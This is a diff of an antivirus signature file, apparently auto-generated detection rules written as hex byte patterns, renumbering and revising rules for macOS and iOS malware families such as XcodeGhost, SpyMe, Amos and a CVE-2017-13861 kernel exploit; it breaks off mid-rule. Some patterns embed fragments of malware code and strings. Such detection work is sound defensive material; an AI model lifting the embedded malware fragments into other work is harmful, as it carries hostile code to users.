_InfrastructureShared_21416{ +rule _InfrastructureShared_22698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -282575,7 +299010,7 @@ rule _InfrastructureShared_21416{ ((#a_4c_0 & 1)*21539+(#a_18_1 & 1)*31872) >=2 } -rule _InfrastructureShared_21417{ +rule _InfrastructureShared_22699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -282587,7 +299022,7 @@ rule _InfrastructureShared_21417{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*-16568+(#a_48_3 & 1)*-30391) >=3 } -rule _InfrastructureShared_21418{ +rule _InfrastructureShared_22700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -282599,7 +299034,7 @@ rule _InfrastructureShared_21418{ ((#a_46_0 & 1)*21283+(#a_69_1 & 1)*24909+(#a_42_3 & 1)*21504) >=3 } -rule _InfrastructureShared_21419{ +rule _InfrastructureShared_22701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282612,7 +299047,7 @@ rule _InfrastructureShared_21419{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*28018+(#a_62_3 & 1)*16686+(#a_52_4 & 1)*21320) >=5 } -rule _InfrastructureShared_21420{ +rule _InfrastructureShared_22702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -282621,38 +299056,28 @@ rule _InfrastructureShared_21420{ $a_74_1 = {67 65 20 63 70 75 20 75 73 65 20 62 79 20 6d 69 6e 65 72 01 00 0d 00 6d 69 6e 65 72 3a 3a 72 65 73 75 6d 65 01 00 3d 00 55 6e 61 62 6c 65 20 74 6f 20 73 74 61 72 74 20 6d 69 6e 65 72 20 62 65 63 61 75 73 65 20 74 68 65 72 65 20 61 72 65 20 61 63 74 69 76 65 20 6d 69 6e 69 6e 67 20 74 68 72 65 61 64 73 01 00 0c 00 63 72 65 61 74 } //25955 $a_6c_2 = {65 74 01 00 0a 00 6f 70 65 6e 77 61 6c 6c 65 74 00 00 03 00 8d e4 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 69 50 68 6f 6e 65 4f 53 2f 58 63 6f 64 65 47 68 6f 73 74 2e 42 00 01 00 08 01 58 43 49 6e 6a 65 63 74 01 00 12 01 49 44 45 42 75 6e 64 6c 65 49 6e 6a } //30565 $a_69_3 = {6e 01 00 28 03 44 65 76 54 6f 6f 6c 73 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 90 02 10 65 6e 76 69 72 6f 6e 6d 65 6e 74 3a 90 00 01 00 1a 03 42 75 6e 64 6c 65 4c 6f 63 61 74 69 6f 6e 90 02 10 54 4d 50 44 49 52 3a 90 00 01 00 1d 03 54 4d 50 44 49 52 90 02 10 44 59 4c 44 5f 4c 49 42 52 41 52 59 5f 50 41 54 48 3a 90 00 01 00 22 01 63 6f 6d 2e } //25445 - $a_6c_4 = {2e 58 63 6f 64 65 2e 49 44 45 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 00 00 06 00 8d e5 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 47 6f 67 6f 4b 43 68 61 69 6e 2e 41 21 4d 54 42 00 01 00 65 01 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 38 48 89 d3 4c 8b 35 70 33 00 00 4c 8b 3d 41 1b 00 } //28769 - $a_cf_5 = {ff d7 48 89 45 a8 48 89 df 41 ff d7 49 89 c4 4c 89 f7 e8 32 09 00 00 48 8b 35 8f 32 00 00 4c 8b 3d 08 1b 00 00 48 89 c7 41 ff d7 48 8b 35 d3 32 00 00 48 8d 15 34 1f 00 00 48 89 c7 48 89 c3 01 00 4c 01 48 8b 3d 14 33 00 00 48 8b 35 ed 32 00 00 48 8d 15 36 1f 00 00 4c 89 e1 31 c0 41 ff d7 48 89 c7 e8 f4 08 00 00 48 89 45 a0 48 8b 3d fb 32 00 00 48 8b 35 ec 31 00 00 48 8d 15 2d 1f 00 00 48 89 c1 45 31 c0 31 c0 } //18432 + $a_6c_4 = {2e 58 63 6f 64 65 2e 49 44 45 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 00 00 06 00 8d e5 00 00 06 00 06 00 07 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 53 70 79 4d 65 2e 41 00 03 00 1f 00 63 6f 6d 2e 72 65 61 64 70 69 78 65 6c 2e 73 70 79 6d 65 2e 61 67 65 6e 74 2e 70 6c 69 73 74 01 00 28 00 53 70 79 4d 65 41 } //28769 + $a_74_5 = {61 70 70 2f 43 6f 6e 74 65 6e 74 73 2f 4d 61 63 4f 53 2f 53 70 79 4d 65 41 67 65 6e 74 01 00 0f 00 53 70 79 4d 65 44 61 65 6d 6f 6e 2e 6c 6f 67 01 00 18 00 73 74 61 72 74 69 6e 67 20 73 70 79 6d 65 20 64 61 65 6d 6f 6e 20 61 74 01 00 15 00 73 65 74 52 65 6d 6f 74 65 53 70 79 4d 65 56 65 72 73 69 6f 6e 01 00 0c 00 73 70 79 6d 65 } //25959 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25955+(#a_6c_2 & 1)*30565+(#a_69_3 & 1)*25445+(#a_6c_4 & 1)*28769+(#a_cf_5 & 1)*18432) >=4 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25955+(#a_6c_2 & 1)*30565+(#a_69_3 & 1)*25445+(#a_6c_4 & 1)*28769+(#a_74_5 & 1)*25959) >=4 } -rule _InfrastructureShared_21421{ +rule _InfrastructureShared_22703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 69 50 68 6f 6e 65 4f 53 2f 58 63 6f 64 65 47 68 6f 73 74 2e 42 00 01 00 08 01 58 43 49 6e 6a 65 63 74 01 00 12 01 49 44 45 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 01 00 28 03 44 65 76 54 6f 6f 6c 73 42 75 6e 64 } //18467 $a_6e_1 = {65 63 74 69 6f 6e 90 02 10 65 6e 76 69 72 6f 6e 6d 65 6e 74 3a 90 00 01 00 1a 03 42 75 6e 64 6c 65 4c 6f 63 61 74 69 6f 6e 90 02 10 54 4d 50 44 49 52 3a 90 00 01 00 1d 03 54 4d 50 44 49 52 90 02 10 44 59 4c 44 5f 4c 49 } //25964 - $a_52_2 = {5f 50 41 54 48 3a 90 00 01 00 22 01 63 6f 6d 2e 61 70 70 6c 65 2e 58 63 6f 64 65 2e 49 44 45 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 00 00 06 00 8d e5 00 00 02 00 02 00 02 00 21 23 54 45 4c } //21058 - $a_6f_3 = {61 6e 3a 4d 61 63 4f 53 2f 47 6f 67 6f 4b 43 68 61 69 6e 2e 41 21 4d 54 42 00 01 00 65 01 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 38 48 89 d3 4c 8b 35 70 33 00 00 4c 8b 3d 41 1b 00 00 48 89 cf 41 ff d7 48 89 45 a8 48 89 df 41 ff d7 49 89 c4 4c 89 f7 e8 32 09 00 00 48 8b 35 8f 32 00 00 4c 8b 3d 08 1b 00 00 48 89 c7 41 ff d7 48 8b 35 } //21562 - $a_34_5 = {00 00 48 89 c7 48 89 c3 01 00 4c 01 48 8b 3d 14 33 00 00 48 8b } //-29368 + $a_52_2 = {5f 50 41 54 48 3a 90 00 01 00 22 01 63 6f 6d 2e 61 70 70 6c 65 2e 58 63 6f 64 65 2e 49 44 45 42 75 6e 64 6c 65 49 6e 6a 65 63 74 69 6f 6e 00 00 06 00 8d e5 00 00 06 00 06 00 07 00 21 23 41 4c 46 } //21058 + $a_3a_3 = {53 54 52 3a 4d 61 63 4f 53 2f 53 70 79 4d 65 2e 41 00 03 00 1f 00 63 6f 6d 2e 72 65 61 64 70 69 78 65 6c 2e 73 70 79 6d 65 2e 61 67 65 6e 74 2e 70 6c 69 73 74 01 00 28 00 53 70 79 4d 65 41 67 65 6e 74 2e 61 70 70 2f 43 6f 6e 74 65 6e 74 73 2f 4d } //17744 + $a_53_4 = {53 70 79 4d 65 41 67 65 6e 74 01 00 0f 00 53 70 79 4d 65 44 61 65 6d 6f 6e 2e 6c 6f 67 01 00 18 00 73 74 61 72 74 69 6e 67 20 73 70 79 6d 65 20 64 61 65 6d 6f 6e 20 61 74 01 00 15 00 73 65 74 52 65 6d 6f 74 65 53 70 79 4d 65 56 65 72 73 } //25441 + $a_01_5 = {00 0c 00 73 70 79 6d 65 25 64 2e 5f 74 63 70 01 00 14 00 73 74 61 72 74 69 6e 67 20 73 70 79 6d 65 73 65 72 76 65 72 00 00 04 00 8d e6 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 46 00 01 00 34 00 63 64 6e 2e 73 69 6d 69 6c 61 72 70 68 6f 74 6f 63 6c 65 61 6e } //28521 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25964+(#a_52_2 & 1)*21058+(#a_6f_3 & 1)*21562+(#a_34_5 & 1)*-29368) >=6 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25964+(#a_52_2 & 1)*21058+(#a_3a_3 & 1)*17744+(#a_53_4 & 1)*25441+(#a_01_5 & 1)*28521) >=6 } -rule _InfrastructureShared_21422{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 47 6f 67 6f 4b 43 68 61 69 6e 2e 41 21 4d 54 42 00 01 00 65 01 55 48 89 e5 41 57 41 56 41 55 41 54 53 48 83 ec 38 48 89 d3 4c 8b 35 70 33 00 00 4c 8b 3d 41 1b 00 00 48 } //21539 - $a_ff_1 = {48 89 45 a8 48 89 df 41 ff d7 49 89 c4 4c 89 f7 e8 32 09 00 00 48 8b 35 8f 32 00 00 4c 8b 3d 08 1b 00 00 48 89 c7 41 ff d7 48 8b 35 d3 32 00 00 48 8d 15 34 1f 00 00 48 89 c7 48 89 c3 01 00 4c 01 } //-12407 - condition: - ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-12407) >=2 - -} -rule _InfrastructureShared_21423{ +rule _InfrastructureShared_22704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 07 00 21 " @@ -282668,7 +299093,7 @@ rule _InfrastructureShared_21423{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28483+(#a_74_2 & 1)*20+(#a_70_3 & 1)*31278+(#a_6e_4 & 1)*26996+(#a_6c_5 & 1)*25441+(#a_64_6 & 1)*25454) >=6 } -rule _InfrastructureShared_21424{ +rule _InfrastructureShared_22705{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -282681,7 +299106,7 @@ rule _InfrastructureShared_21424{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*29286+(#a_6e_2 & 1)*30308+(#a_46_3 & 1)*16675) >=3 } -rule _InfrastructureShared_21425{ +rule _InfrastructureShared_22706{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282694,7 +299119,7 @@ rule _InfrastructureShared_21425{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*25966+(#a_65_3 & 1)*30051+(#a_01_4 & 1)*-15803) >=5 } -rule _InfrastructureShared_21426{ +rule _InfrastructureShared_22707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,16 00 16 00 04 00 21 " @@ -282707,7 +299132,7 @@ rule _InfrastructureShared_21426{ ((#a_46_0 & 1)*16675+(#a_c1_1 & 1)*-14847+(#a_e8_2 & 1)*-30388+(#a_6c_3 & 1)*25960) >=22 } -rule _InfrastructureShared_21427{ +rule _InfrastructureShared_22708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 05 00 21 " @@ -282721,7 +299146,7 @@ rule _InfrastructureShared_21427{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29230+(#a_70_2 & 1)*8300+(#a_05_3 & 1)*596+(#a_0a_4 & 1)*400) >=2 } -rule _InfrastructureShared_21428{ +rule _InfrastructureShared_22709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -282734,7 +299159,7 @@ rule _InfrastructureShared_21428{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-14812+(#a_00_2 & 1)*5+(#a_45_3 & 1)*17996) >=5 } -rule _InfrastructureShared_21429{ +rule _InfrastructureShared_22710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282748,7 +299173,7 @@ rule _InfrastructureShared_21429{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29525+(#a_6f_2 & 1)*25441+(#a_61_3 & 1)*27715+(#a_6e_4 & 1)*26158) >=5 } -rule _InfrastructureShared_21430{ +rule _InfrastructureShared_22711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 07 00 21 " @@ -282763,7 +299188,7 @@ rule _InfrastructureShared_21430{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*31342+(#a_63_3 & 1)*19833+(#a_35_4 & 1)*18687+(#a_fd_5 & 1)*-29301+(#a_78_6 & 1)*27745) >=5 } -rule _InfrastructureShared_21431{ +rule _InfrastructureShared_22712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -282774,7 +299199,7 @@ rule _InfrastructureShared_21431{ ((#a_4c_0 & 1)*21539+(#a_8b_1 & 1)*0) >=2 } -rule _InfrastructureShared_21432{ +rule _InfrastructureShared_22713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282783,25 +299208,36 @@ rule _InfrastructureShared_21432{ $a_69_1 = {72 01 00 17 00 56 53 49 6e 6a 65 63 74 53 65 72 76 65 72 20 64 6f 73 65 72 76 65 72 01 00 50 00 2f 56 53 65 61 72 63 68 4c 6f 61 64 65 72 2e 62 75 69 6c 64 2f 52 65 6c 65 61 73 65 2f 6c 6f 61 64 65 72 2e 62 75 69 6c 64 2f 4f 62 6a 65 63 74 73 2d 6e 6f 72 6d 61 6c 2f 78 38 36 5f 36 34 2f 56 53 49 6e 6a 65 } //26996 $a_65_2 = {76 65 72 2e 6f 01 00 14 00 56 53 49 6e 6a 65 63 74 20 73 65 6e 64 49 6e 6a 65 63 74 3a 00 00 03 00 8d ea 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 54 41 21 78 70 00 01 00 38 00 } //29795 $a_72_3 = {72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2f 73 65 74 74 69 6e 67 73 2e 70 6c 69 73 74 01 00 21 00 4c 69 62 72 61 72 79 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2f 6d 73 65 74 73 2e 70 6c 69 73 74 01 00 34 00 2f 77 63 66 43 6f } //26956 - $a_72_4 = {50 72 69 63 69 6e 67 2f 63 6f 75 6e 74 72 79 70 72 69 63 69 6e 67 2e 73 76 63 2f 47 65 74 43 6f 75 6e 74 72 79 43 6f 64 65 01 00 1f 00 2f 41 70 70 6c 69 63 61 74 69 6f 6e 73 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2e 61 70 70 00 00 03 00 8d ec 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 } //28277 + $a_72_4 = {50 72 69 63 69 6e 67 2f 63 6f 75 6e 74 72 79 70 72 69 63 69 6e 67 2e 73 76 63 2f 47 65 74 43 6f 75 6e 74 72 79 43 6f 64 65 01 00 1f 00 2f 41 70 70 6c 69 63 61 74 69 6f 6e 73 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2e 61 70 70 00 00 03 00 8d eb 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 48 } //28277 condition: ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*26996+(#a_65_2 & 1)*29795+(#a_72_3 & 1)*26956+(#a_72_4 & 1)*28277) >=5 } -rule _InfrastructureShared_21433{ +rule _InfrastructureShared_22714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 54 41 21 78 70 00 01 00 38 00 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2f } //16675 $a_74_1 = {6e 67 73 2e 70 6c 69 73 74 01 00 21 00 4c 69 62 72 61 72 79 2f 4d 61 63 2d 4f 70 74 69 6d 69 7a 65 72 2f 6d 73 65 74 73 2e 70 6c 69 73 74 01 00 34 00 2f 77 63 66 43 6f 75 6e 74 72 79 50 72 69 63 69 6e 67 2f 63 6f 75 6e 74 72 79 70 72 69 63 69 6e 67 2e 73 76 63 2f 47 65 74 43 6f 75 6e 74 72 79 43 6f 64 65 01 00 1f 00 2f 41 70 70 6c 69 63 61 74 69 } //25971 - $a_2f_2 = {61 63 2d 4f 70 74 69 6d 69 7a 65 72 2e 61 70 70 00 00 03 00 8d ec 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 37 2d 31 33 38 36 31 00 01 00 55 01 61 74 74 65 6d 70 74 20 74 6f 20 77 72 69 74 65 20 74 6f 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 62 65 66 6f 72 65 20 61 6e } //28271 - $a_65_3 = {6e 65 6c 20 6d 65 6d 6f 72 79 20 77 72 69 74 65 20 70 72 69 6d 69 74 69 76 65 73 20 61 76 61 69 6c 61 62 6c 65 01 00 30 01 75 6e 61 62 6c 65 20 74 6f 20 61 6c 6c 6f 63 61 74 65 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 76 69 61 20 74 66 70 30 3a 20 25 73 20 25 78 01 00 2d 01 53 75 63 63 65 73 73 66 75 6c 6c 79 20 69 } //8313 + $a_2f_2 = {61 63 2d 4f 70 74 69 6d 69 7a 65 72 2e 61 70 70 00 00 03 00 8d eb 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 48 21 4d 54 42 00 01 00 68 01 ed 03 08 aa 08 05 00 91 1f e1 04 f1 e8 07 8d 9a ee 7a 6d f8 ef 7a 68 f8 b0 71 02 91 11 fe 43 d3 31 7e da 9b 31 fe 41 d3 30 c2 0a 9b ce 81 61 92 f1 75 } //28271 + $a_7a_3 = {f8 ff 01 00 72 0f 13 9f 9a 2e 02 0e aa ef 01 10 ca ee 05 4e ca 2f 77 4e 8a ef 01 0e ca 90 95 0f 8a e8 e2 04 f9 10 46 0f ca 10 02 0e ca 10 fe 6b d3 01 00 54 01 f4 4f be a9 fd 7b 01 a9 fd 43 00 91 f3 03 00 aa a1 06 00 b4 f4 03 01 aa 28 fc 7d d3 08 0c 00 b5 80 f2 7d d3 b3 01 00 94 e8 03 00 aa 60 02 40 f9 68 02 00 f9 40 00 00 b4 ab 01 00 94 08 00 80 d2 74 06 00 f9 69 02 40 f9 3f 79 28 f8 08 05 00 91 9f 02 08 eb 00 00 8d ec 00 00 02 00 02 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 69 50 68 6f 6e 65 4f 53 2f 43 56 45 2d 32 30 31 37 2d 31 33 38 36 31 00 01 00 55 01 61 74 74 65 6d 70 74 20 74 6f 20 77 72 69 74 65 20 74 6f 20 6b 65 72 6e 65 6c 20 6d 65 6d 6f 72 79 20 62 65 66 6f 72 65 20 61 6e 79 20 6b 65 72 6e } //-28033 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25971+(#a_2f_2 & 1)*28271+(#a_65_3 & 1)*8313) >=4 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25971+(#a_2f_2 & 1)*28271+(#a_7a_3 & 1)*-28033) >=4 } -rule _InfrastructureShared_21434{ +rule _InfrastructureShared_22715{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 41 6d 6f 73 2e 45 48 21 4d 54 42 00 01 00 68 01 ed 03 08 aa 08 05 00 91 1f e1 04 f1 e8 07 8d 9a ee 7a 6d f8 ef 7a 68 f8 b0 71 02 91 11 fe 43 d3 31 7e da 9b 31 fe 41 d3 } //21539 + $a_9b_1 = {81 61 92 f1 75 7f 92 f0 7a 70 } //-15824 + condition: + ((#a_4c_0 & 1)*21539+(#a_9b_1 & 1)*-15824) >=2 + +} +rule _InfrastructureShared_22716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -282813,7 +299249,7 @@ rule _InfrastructureShared_21434{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*25120+(#a_75_2 & 1)*301) >=2 } -rule _InfrastructureShared_21435{ +rule _InfrastructureShared_22717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,01 00 01 00 02 00 21 " @@ -282824,7 +299260,7 @@ rule _InfrastructureShared_21435{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30068) >=1 } -rule _InfrastructureShared_21436{ +rule _InfrastructureShared_22718{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 03 00 21 " @@ -282836,7 +299272,7 @@ rule _InfrastructureShared_21436{ ((#a_46_0 & 1)*16675+(#a_ef_1 & 1)*19624+(#a_00_2 & 1)*29704) >=4 } -rule _InfrastructureShared_21437{ +rule _InfrastructureShared_22719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282849,7 +299285,7 @@ rule _InfrastructureShared_21437{ ((#a_46_0 & 1)*16675+(#a_70_2 & 1)*16687+(#a_6d_3 & 1)*25391+(#a_61_4 & 1)*27758) >=4 } -rule _InfrastructureShared_21438{ +rule _InfrastructureShared_22720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -282863,7 +299299,7 @@ rule _InfrastructureShared_21438{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25697+(#a_66_2 & 1)*13623+(#a_73_3 & 1)*18734+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_21439{ +rule _InfrastructureShared_22721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 05 00 21 " @@ -282877,7 +299313,7 @@ rule _InfrastructureShared_21439{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29264+(#a_61_2 & 1)*11892+(#a_69_3 & 1)*29285+(#a_2d_4 & 1)*29285) >=2 } -rule _InfrastructureShared_21440{ +rule _InfrastructureShared_22722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -282889,7 +299325,7 @@ rule _InfrastructureShared_21440{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_61_4 & 1)*21363) >=5 } -rule _InfrastructureShared_21441{ +rule _InfrastructureShared_22723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -282903,7 +299339,7 @@ rule _InfrastructureShared_21441{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*24435+(#a_6e_2 & 1)*17152+(#a_61_3 & 1)*25193+(#a_65_4 & 1)*12147) >=11 } -rule _InfrastructureShared_21442{ +rule _InfrastructureShared_22724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -282917,7 +299353,7 @@ rule _InfrastructureShared_21442{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*28261+(#a_6f_2 & 1)*29441+(#a_73_3 & 1)*27760+(#a_63_5 & 1)*24933) >=6 } -rule _InfrastructureShared_21443{ +rule _InfrastructureShared_22725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -282927,36 +299363,25 @@ rule _InfrastructureShared_21443{ $a_74_2 = {73 5f 76 73 2e 6e 6f 74 68 69 6e 67 2e 69 6e 74 65 72 65 73 74 69 6e 67 2e 63 6f 6d 5f 30 2e 6c 6f 63 61 6c 73 74 6f 72 61 67 65 01 00 0a 00 56 53 49 6e 6a 65 63 74 65 64 01 00 23 00 56 53 65 61 72 63 68 2e 66 72 61 6d 65 77 6f 72 6b 2f 2e 75 75 69 64 2f 2e 75 75 69 64 2e 70 6c 69 73 74 01 00 27 00 56 53 65 61 72 63 68 2e 66 72 61 6d 65 77 6f 72 } //26624 $a_65_3 = {73 69 6f 6e 2f 56 65 72 73 69 6f 6e 2e 70 6c 69 73 74 00 00 03 00 8d f3 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 67 75 75 49 6e 73 74 61 6c 6c 65 72 2e 41 21 4d 54 42 00 01 00 13 00 65 78 74 65 72 6e 61 6c 2e } //12139 $a_4f_4 = {66 65 72 49 64 01 00 0d 00 64 6f 77 6e 6c 6f 61 64 4f 66 66 65 72 01 00 23 00 2f 74 75 67 75 75 2f 4d 61 78 50 6f 77 65 72 4d 61 63 2f 4d 61 78 50 6f 77 65 72 4d 61 63 2f 55 74 69 6c 01 00 46 00 2f 2f 31 61 35 37 63 30 63 61 36 33 37 36 34 31 31 30 38 64 30 35 61 62 35 35 37 64 30 38 34 35 39 37 3a 31 38 31 30 37 38 61 63 30 30 35 34 34 36 63 38 } //25971 - $a_36_5 = {35 37 66 34 38 37 38 61 66 35 66 40 25 40 01 00 23 00 88 9d a5 fe ff ff 44 88 85 a7 fe ff ff 88 cb 45 0f b6 d2 41 8a 0c 3a 44 30 f9 44 30 c9 88 8d a4 fe ff ff 00 00 03 00 8d f4 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 41 67 6e 74 2e 46 21 4d 54 42 00 } //13369 + $a_36_5 = {35 37 66 34 38 37 38 61 66 35 66 40 25 40 01 00 23 00 88 9d a5 fe ff ff 44 88 85 a7 fe ff ff 88 cb 45 0f b6 d2 41 8a 0c 3a 44 30 f9 44 30 c9 88 8d a4 fe ff ff 00 00 03 00 8d f4 00 00 02 00 02 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 } //13369 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29811+(#a_74_2 & 1)*26624+(#a_65_3 & 1)*12139+(#a_4f_4 & 1)*25971+(#a_36_5 & 1)*13369) >=4 } -rule _InfrastructureShared_21444{ +rule _InfrastructureShared_22726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 54 75 67 75 75 49 6e 73 74 61 6c 6c 65 72 2e 41 21 4d 54 42 00 01 00 13 00 65 78 74 65 72 6e 61 6c 2e 73 65 74 4f 66 66 65 72 49 64 01 00 0d 00 64 6f 77 6e 6c 6f 61 64 4f 66 66 65 72 01 } //16675 $a_75_2 = {4d 61 78 50 6f 77 65 72 4d 61 63 2f 4d 61 78 50 6f 77 65 72 4d 61 63 2f 55 74 69 6c 01 00 46 00 2f 2f 31 61 35 37 63 30 63 61 36 33 37 36 34 31 31 30 38 64 30 35 61 62 35 35 37 64 30 38 34 35 39 37 3a 31 38 31 30 37 38 61 63 30 30 35 34 34 36 63 38 39 34 62 36 37 35 37 66 34 38 37 38 61 66 35 66 40 25 40 01 00 23 00 88 9d a5 fe ff ff 44 88 85 a7 fe } //26485 - $a_cb_3 = {0f b6 d2 41 8a 0c 3a 44 30 f9 44 30 c9 88 8d a4 fe ff ff 00 00 